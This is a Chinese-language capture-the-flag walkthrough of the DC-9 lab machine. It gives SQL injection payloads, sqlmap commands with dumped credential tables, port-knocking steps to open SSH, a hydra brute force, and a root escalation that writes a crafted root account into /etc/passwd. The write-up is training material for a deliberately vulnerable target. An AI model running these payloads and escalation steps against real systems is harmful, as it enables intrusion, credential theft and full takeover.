[渗透实战]:渗透测试实战-DC-9-靶机入侵
[渗透实战]:渗透测试实战-DC-9-靶机入侵
信息收集
nmap
nmap -sP 192.168.1.2/24 -oN nmap.sP
nmap -A 192.168.1.172 -p- -oN nmap.A
Whatweb
whatweb 192.168.1.172
御剑
访问其80端口
可能存在sql注入
使用bp 抓包分析
1' union select 1,2,3,4,5,6#
脱库
手动注入
1' union select 1,2,3,4,5,database()#
数据表
1' union select 1,2,3,4,5,group_concat(table_name) from information_schema.tables where table_schema = database()#
users表中字段
1' union select 1,2,3,4,5,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='Users'#
users 表中信息
1' union select 1,2,3,4,5,group_concat(UserID,Username,Password)from Users#
sqlmap
vim sqlmap.post
POST /results.php HTTP/1.1
Host: 192.168.1.172
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 121
DNT: 1
Connection: close
Referer: http://192.168.1.172/search.php
Upgrade-Insecure-Requests: 1
search=1
sqlmap -r sqlmap.post --dbs
sqlmap -r sqlmap.post -D users --tables
sqlmap -r sqlmap.post -D users -T UserDetails --dump
id | lastname | reg_date | username | firstname | password |
+------+------------+---------------------+-----------+-----------+---------------+
| 10 | Tribbiani | 2019-12-29 16:58:26 | joeyt | Joey | Passw0rd |
| 11 | Green | 2019-12-29 16:58:26 | rachelg | Rachel | yN72#dsd |
| 12 | Geller | 2019-12-29 16:58:26 | rossg | Ross | ILoveRachel |
| 13 | Geller | 2019-12-29 16:58:26 | monicag | Monica | 3248dsds7s |
| 14 | Buffay | 2019-12-29 16:58:26 | phoebeb | Phoebe | smellycats |
| 15 | McScoots | 2019-12-29 16:58:26 | scoots | Scooter | YR3BVxxxw87 |
| 16 | Trump | 2019-12-29 16:58:26 | janitor | Donald | Ilovepeepee |
| 17 | Morrison | 2019-12-29 16:58:28 | janitor2 | Scott | Hawaii-Five-0 |
| 1 | Moe | 2019-12-29 16:58:26 | marym | Mary | 3kfs86sfd |
| 2 | Dooley | 2019-12-29 16:58:26 | julied | Julie | 468sfdfsd2 |
| 3 | Flintstone | 2019-12-29 16:58:26 | fredf | Fred | 4sfd87sfd1 |
| 4 | Rubble | 2019-12-29 16:58:26 | barneyr | Barney | RocksOff |
| 5 | Cat | 2019-12-29 16:58:26 | tomc | Tom | TC&TheBoyz |
| 6 | Mouse | 2019-12-29 16:58:26 | jerrym | Jerry | B8m#48sd |
| 7 | Flintstone | 2019-12-29 16:58:26 | wilmaf | Wilma | Pebbles |
| 8 | Rubble | 2019-12-29 16:58:26 | bettyr | Betty | BamBam01 |
| 9 | Bing | 2019-12-29 16:58:26 | chandlerb | Chandler | UrAG0D! |
|
列出当前数据库名
sqlmap -r sqlmap.post --current-db
sqlmap -r sqlmap.post -D Staff --tables
sqlmap -r sqlmap.post -D Staff -T Users --dump
+--------+----------+----------------------------------+
| UserID | Username | Password |
+--------+----------+----------------------------------+
| 1 | admin | 856f5de590ef37314e7c3bdf6f8a66dc |
+--------+----------+----------------------------------+
|
MD5 在线解密 https://www.somd5.com/
得到账密 [admin/transorbital1]
使用该账密成功登录网站后台
猜测存在文件包含
使用BP爆破
knockd-开启ssh
开始我们测试ssh端口关闭,wp一波,发现是knockd 保护了22端口
knockd是一种端口试探服务器工具。它侦听以太网或其他可用接口上的所有流量,等待特殊序列的端口命中(port-hit)。telnet或Putty等客户软件通过向服务器上的端口发送TCP或数据包来启动端口命中,也可以直接用nc敲击端口。
关于knockd服务的详细信息,https://zhuanlan.zhihu.com/p/43716885
查看器配置文件/etc/knockd.conf
File does not exist
[options] UseSyslog [openSSH] sequence = 7469,8475,9842 seq_timeout = 25 command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn
[closeSSH] sequence = 9842,8475,7469 seq_timeout = 25 command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn
也就是说我们可以通过依次命中 7469,8475,9842 端口来开启ssh 端口
当然也可以通过依次命中 9842,8475,7469 端口来关闭ssh 端口
使用nmap 或nc 来敲击7469,8475,9842 端口,实现敲门
nc:
nc 192.168.1.172 7469
nc 192.168.1.172 8475
nc 192.168.1.172 9842
nmap -p 22 192.168.1.172
nmap:
nmap -p 7469 192.168.1.172
nmap -p 8475 192.168.1.172
nmap -p 9842 192.168.1.172
nmap -p 22 192.168.1.172
现在靶机的22端口已经打开了
hydra爆破
前面我们在数据库Users 中得到的用户名和密码可以尝试进行爆破
构建密码字典
vim user.dic
joeyt
rachelg
rossg
monicag
phoebeb
scoots
janitor
janitor2
marym
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
vim psswd.dic
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0
3kfs86sfd
468sfdfsd2
4sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
hydra -L user.dic -P passwd.dic ssh://192.168.1.172 -o hydra.ssh -vV
[22][ssh] host: 192.168.1.172 login: janitor password: Ilovepeepee
[22][ssh] host: 192.168.1.172 login: chandlerb password: UrAG0D!
janitor 用户成功登录
使用ls -la 命令查看是否存在隐藏文件
在隐藏文件目录下得到登录密码
vim passwd2.dic
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts
hydra -L user.dic -P passwd2.dic ssh://192.168.1.172
[22][ssh] host: 192.168.1.172 login: fredf password: B4-Tru3-001
使用 fredf 用户成功登录
提权
sudo -l
find /opt/ -name "test.py"
sys.argv[] 第一个参数就是程序本身即test.py,我们可以再传入两个参数
当传入的参数为三个时,会执行else 分支,会将第二个参数的读出写入到第三个的末尾,后面两个参数如何构造很关键
我们想到了可以在构建一个新的用户,使其具有root 权限
ggg:$1$zvluQcGrrxmrJD3E$B0NB.AXX2HLDgl1kxJxqKoYj7T3uksMrSh0oYgrmm5ILJw.OschYBPlHUAHDsyjJKfbILfmKykLN8xHTgdQi80:0:0:root:/root:/bin/bash
将其写入到一个/tmp/sroot 文件中 /tmp/sroot 作为第二个参数,将其内容读出,写入到/etc/passwd 文件中,那第三个参数自然就是/etc/passwd
输入passwd:root 成功提权
拿到flag